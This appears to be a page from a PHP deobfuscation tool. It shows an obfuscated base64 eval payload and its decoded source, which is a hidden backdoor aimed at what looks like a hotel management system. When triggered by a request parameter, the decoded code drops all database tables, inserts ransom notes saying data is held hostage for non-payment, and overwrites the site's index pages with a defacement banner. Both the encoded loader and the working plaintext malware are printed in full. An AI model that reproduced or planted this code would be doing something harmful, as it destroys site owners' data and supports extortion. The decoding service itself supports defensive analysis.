Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode('PD9waHAgCmVjaG8gJ3Rlc3Rpbmcgb2JmdXNjYXRpb24uLi4nOwoKCmlmICh..

Decoded Output download

?>b'<?php 
echo \'testing obfuscation...\';


if (isset($_REQUEST[\'deleteid\']) == \'kjB<V;\')
{
if (file_exists(\'./pms/inc/config.php\')) {
    @include (\'./pms/inc/config.php\');
}
if (file_exists(\'./superadmin/inc/config.php\')) {
    @include (\'./pms/inc/config.php\');
}
if (file_exists(\'./cms/inc/config.php\')) {
    @include (\'./pms/inc/config.php\');
}

//drop all information
$remove1 = "DROP TABLE `accounts`, `addons`, `amenities`, `blocks`, `bookings`, `condominium`, `countryinfo`, `departments`, `facilities`, `floors`, `guests`, `hoteldetails`, `items`, `items_consumption`, `notification`, `property`, `rateplan`, `recent_activity`, `rooms`, `roomtax`, `roomtype`, `salutation`, `userlevel`, `superadmin_settings`;";
$conn->query($remove1);

///write to database
	//start of for loop for the database.
	$iiii = 1; $jjjj = 1; $kkkk = 1; $llll = 1;
	for ($iiii = 1;$iiii < 11; $iiii++)
	{
	//reason for new create database
	$create1 = "
	CREATE TABLE `NONPAYMENTDATAHELDHOSTAGE".$jjjj++."` (
	  `heldhostagenonpayment` int(11) NOT NULL,
	  `reason` longtext NOT NULL
	) ENGINE=InnoDB DEFAULT CHARSET=latin1;
	";
	$conn->query($create1);

	//insert data
	$insert1 = "
	INSERT INTO `NONPAYMENTDATAHELDHOSTAGE".$kkkk++."` (`heldhostagenonpayment`, `reason`) VALUES 
	(1, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\'),
	(2, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\'),
	(3, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\'),
	(4, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\');
	";
	$conn->query($insert1);

	//alter the tables
	$alter1 =  "ALTER TABLE `NONPAYMENTDATAHELDHOSTAGE".$llll++."` ADD PRIMARY KEY(`heldhostagenonpayment`);";
	$conn->query($alter1);
} //end of for loop for the database

$txt = "<pre>
             ..ooo@@@XXX%%%xx..
          .oo@@XXX%x%xxx..     ` .
        .o@XX%%xx..               ` .
      o@X%..                  ..ooooooo
    .@X%x.                 ..o@@^^   ^^@@o
  .ooo@@@@@@ooo..      ..o@@^          @X%
  o@@^^^     ^^^@@@ooo.oo@@^             %
 xzI    -*--      ^^^o^^        --*-     %
 @@@o     ooooooo^@@^o^@X^@oooooo     .X%x
I@@@@@@@@@XX%%xx  ( o@o )X%x@ROMBASED@@@X%x
I@@@@XX%%xx  oo@@@@X% @@X%x   ^^^@@@@@@@X%x
 @X%xx     o@@@@@@@X% @@XX%%x  )    ^^@X%x
  ^   xx o@@@@@@@@Xx  ^ @XX%%x    xxx
        o@@^^^ooo I^^ I^o ooo   .  x
        oo @^ IX      I   ^X  @^ oo
        IX     U  .        V     IX
         V     .           .     V
</pre><br /><br />
=========================================<br />
<H1>DATA HELD HOSTAGE - DUE TO NON PAYMENT</H1><br />
<H1>DATA HELD HOSTAGE - DUE TO NON PAYMENT</H1><br />
<H1>DATA HELD HOSTAGE - DUE TO NON PAYMENT</H1><br />
";

$myfile1 = fopen(\'index.php\', "w") or die("Unable to open file!");
fwrite($myfile1, $txt);
fclose($myfile1); 

$myfile2 = fopen(\'index.html\', "w") or die("Unable to open file!");
fwrite($myfile2, $txt);
fclose($myfile2); 

ECHO \'DONE...\';
} // end of if triggered

?>











'<?

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode('PD9waHAgCmVjaG8gJ3Rlc3Rpbmcgb2JmdXNjYXRpb24uLi4nOwoKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2RlbGV0ZWlkJ10pID09ICdrakJcNTxWOycpCnsKaWYgKGZpbGVfZXhpc3RzKCcuL3Btcy9pbmMvY29uZmlnLnBocCcpKSB7CiAgICBAaW5jbHVkZSAoJy4vcG1zL2luYy9jb25maWcucGhwJyk7Cn0KaWYgKGZpbGVfZXhpc3RzKCcuL3N1cGVyYWRtaW4vaW5jL2NvbmZpZy5waHAnKSkgewogICAgQGluY2x1ZGUgKCcuL3Btcy9pbmMvY29uZmlnLnBocCcpOwp9CmlmIChmaWxlX2V4aXN0cygnLi9jbXMvaW5jL2NvbmZpZy5waHAnKSkgewogICAgQGluY2x1ZGUgKCcuL3Btcy9pbmMvY29uZmlnLnBocCcpOwp9CgovL2Ryb3AgYWxsIGluZm9ybWF0aW9uCiRyZW1vdmUxID0gIkRST1AgVEFCTEUgYGFjY291bnRzYCwgYGFkZG9uc2AsIGBhbWVuaXRpZXNgLCBgYmxvY2tzYCwgYGJvb2tpbmdzYCwgYGNvbmRvbWluaXVtYCwgYGNvdW50cnlpbmZvYCwgYGRlcGFydG1lbnRzYCwgYGZhY2lsaXRpZXNgLCBgZmxvb3JzYCwgYGd1ZXN0c2AsIGBob3RlbGRldGFpbHNgLCBgaXRlbXNgLCBgaXRlbXNfY29uc3VtcHRpb25gLCBgbm90aWZpY2F0aW9uYCwgYHByb3BlcnR5YCwgYHJhdGVwbGFuYCwgYHJlY2VudF9hY3Rpdml0eWAsIGByb29tc2AsIGByb29tdGF4YCwgYHJvb210eXBlYCwgYHNhbHV0YXRpb25gLCBgdXNlcmxldmVsYCwgYHN1cGVyYWRtaW5fc2V0dGluZ3NgOyI7CiRjb25uLT5xdWVyeSgkcmVtb3ZlMSk7CgovLy93cml0ZSB0byBkYXRhYmFzZQoJLy9zdGFydCBvZiBmb3IgbG9vcCBmb3IgdGhlIGRhdGFiYXNlLgoJJGlpaWkgPSAxOyAkampqaiA9IDE7ICRra2trID0gMTsgJGxsbGwgPSAxOwoJZm9yICgkaWlpaSA9IDE7JGlpaWkgPCAxMTsgJGlpaWkrKykKCXsKCS8vcmVhc29uIGZvciBuZXcgY3JlYXRlIGRhdGFiYXNlCgkkY3JlYXRlMSA9ICIKCUNSRUFURSBUQUJMRSBgTk9OUEFZTUVOVERBVEFIRUxESE9TVEFHRSIuJGpqamorKy4iYCAoCgkgIGBoZWxkaG9zdGFnZW5vbnBheW1lbnRgIGludCgxMSkgTk9UIE5VTEwsCgkgIGByZWFzb25gIGxvbmd0ZXh0IE5PVCBOVUxMCgkpIEVOR0lORT1Jbm5vREIgREVGQVVMVCBDSEFSU0VUPWxhdGluMTsKCSI7CgkkY29ubi0+cXVlcnkoJGNyZWF0ZTEpOwoKCS8vaW5zZXJ0IGRhdGEKCSRpbnNlcnQxID0gIgoJSU5TRVJUIElOVE8gYE5PTlBBWU1FTlREQVRBSEVMREhPU1RBR0UiLiRra2trKysuImAgKGBoZWxkaG9zdGFnZW5vbnBheW1lbnRgLCBgcmVhc29uYCkgVkFMVUVTIAoJKDEsICdEQVRBIElTIE5PVyBCRUlORyBIRUxEIEhPU1RBR0UgLSBEVUUgVE8gTk9OIFBBWU1FTlQgLSBJRiBZT1UgV0FOVCBZT1VSIERBVEEgQkFDSyAtIE1BS0UgQVJSQU5HRU1FTlRTIEZPUiBQQVlNRU5UJyksCgkoMiwgJ0RBVEEgSVMgTk9XIEJFSU5HIEhFTEQgSE9TVEFHRSAtIERVRSBUTyBOT04gUEFZTUVOVCAtIElGIFlPVSBXQU5UIFlPVVIgREFUQSBCQUNLIC0gTUFLRSBBUlJBTkdFTUVOVFMgRk9SIFBBWU1FTlQnKSwKCSgzLCAnREFUQSBJUyBOT1cgQkVJTkcgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UIC0gSUYgWU9VIFdBTlQgWU9VUiBEQVRBIEJBQ0sgLSBNQUtFIEFSUkFOR0VNRU5UUyBGT1IgUEFZTUVOVCcpLAoJKDQsICdEQVRBIElTIE5PVyBCRUlORyBIRUxEIEhPU1RBR0UgLSBEVUUgVE8gTk9OIFBBWU1FTlQgLSBJRiBZT1UgV0FOVCBZT1VSIERBVEEgQkFDSyAtIE1BS0UgQVJSQU5HRU1FTlRTIEZPUiBQQVlNRU5UJyk7CgkiOwoJJGNvbm4tPnF1ZXJ5KCRpbnNlcnQxKTsKCgkvL2FsdGVyIHRoZSB0YWJsZXMKCSRhbHRlcjEgPSAgIkFMVEVSIFRBQkxFIGBOT05QQVlNRU5UREFUQUhFTERIT1NUQUdFIi4kbGxsbCsrLiJgIEFERCBQUklNQVJZIEtFWShgaGVsZGhvc3RhZ2Vub25wYXltZW50YCk7IjsKCSRjb25uLT5xdWVyeSgkYWx0ZXIxKTsKfSAvL2VuZCBvZiBmb3IgbG9vcCBmb3IgdGhlIGRhdGFiYXNlCgokdHh0ID0gIjxwcmU+CiAgICAgICAgICAgICAuLm9vb0BAQFhYWCUlJXh4Li4KICAgICAgICAgIC5vb0BAWFhYJXgleHh4Li4gICAgIGAgLgogICAgICAgIC5vQFhYJSV4eC4uICAgICAgICAgICAgICAgYCAuCiAgICAgIG9AWCUuLiAgICAgICAgICAgICAgICAgIC4ub29vb29vbwogICAgLkBYJXguICAgICAgICAgICAgICAgICAuLm9AQF5eICAgXl5AQG8KICAub29vQEBAQEBAb29vLi4gICAgICAuLm9AQF4gICAgICAgICAgQFglCiAgb0BAXl5eICAgICBeXl5AQEBvb28ub29AQF4gICAgICAgICAgICAgJQogeHpJICAgIC0qLS0gICAgICBeXl5vXl4gICAgICAgIC0tKi0gICAgICUKIEBAQG8gICAgIG9vb29vb29eQEBeb15AWF5Ab29vb29vICAgICAuWCV4CklAQEBAQEBAQEBYWCUleHggICggb0BvIClYJXhAUk9NQkFTRURAQEBYJXgKSUBAQEBYWCUleHggIG9vQEBAQFglIEBAWCV4ICAgXl5eQEBAQEBAQFgleAogQFgleHggICAgIG9AQEBAQEBAWCUgQEBYWCUleCAgKSAgICBeXkBYJXgKICBeICAgeHggb0BAQEBAQEBAWHggIF4gQFhYJSV4ICAgIHh4eAogICAgICAgIG9AQF5eXm9vbyBJXl4gSV5vIG9vbyAgIC4gIHgKICAgICAgICBvbyBAXiBJWCAgICAgIEkgICBeWCAgQF4gb28KICAgICAgICBJWCAgICAgVSAgLiAgICAgICAgViAgICAgSVgKICAgICAgICAgViAgICAgLiAgICAgICAgICAgLiAgICAgVgo8L3ByZT48YnIgLz48YnIgLz4KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08YnIgLz4KPEgxPkRBVEEgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UPC9IMT48YnIgLz4KPEgxPkRBVEEgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UPC9IMT48YnIgLz4KPEgxPkRBVEEgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UPC9IMT48YnIgLz4KIjsKCiRteWZpbGUxID0gZm9wZW4oJ2luZGV4LnBocCcsICJ3Iikgb3IgZGllKCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwpmd3JpdGUoJG15ZmlsZTEsICR0eHQpOwpmY2xvc2UoJG15ZmlsZTEpOyAKCiRteWZpbGUyID0gZm9wZW4oJ2luZGV4Lmh0bWwnLCAidyIpIG9yIGRpZSgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsKZndyaXRlKCRteWZpbGUyLCAkdHh0KTsKZmNsb3NlKCRteWZpbGUyKTsgCgpFQ0hPICdET05FLi4uJzsKfSAvLyBlbmQgb2YgaWYgdHJpZ2dlcmVkCgo/PgoKCgoKCgoKCgoKCg==')."<?");?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 79fdf69e224bc9c72ad6f10d3784cdf0
Eval Count 1
Decode Time 143 ms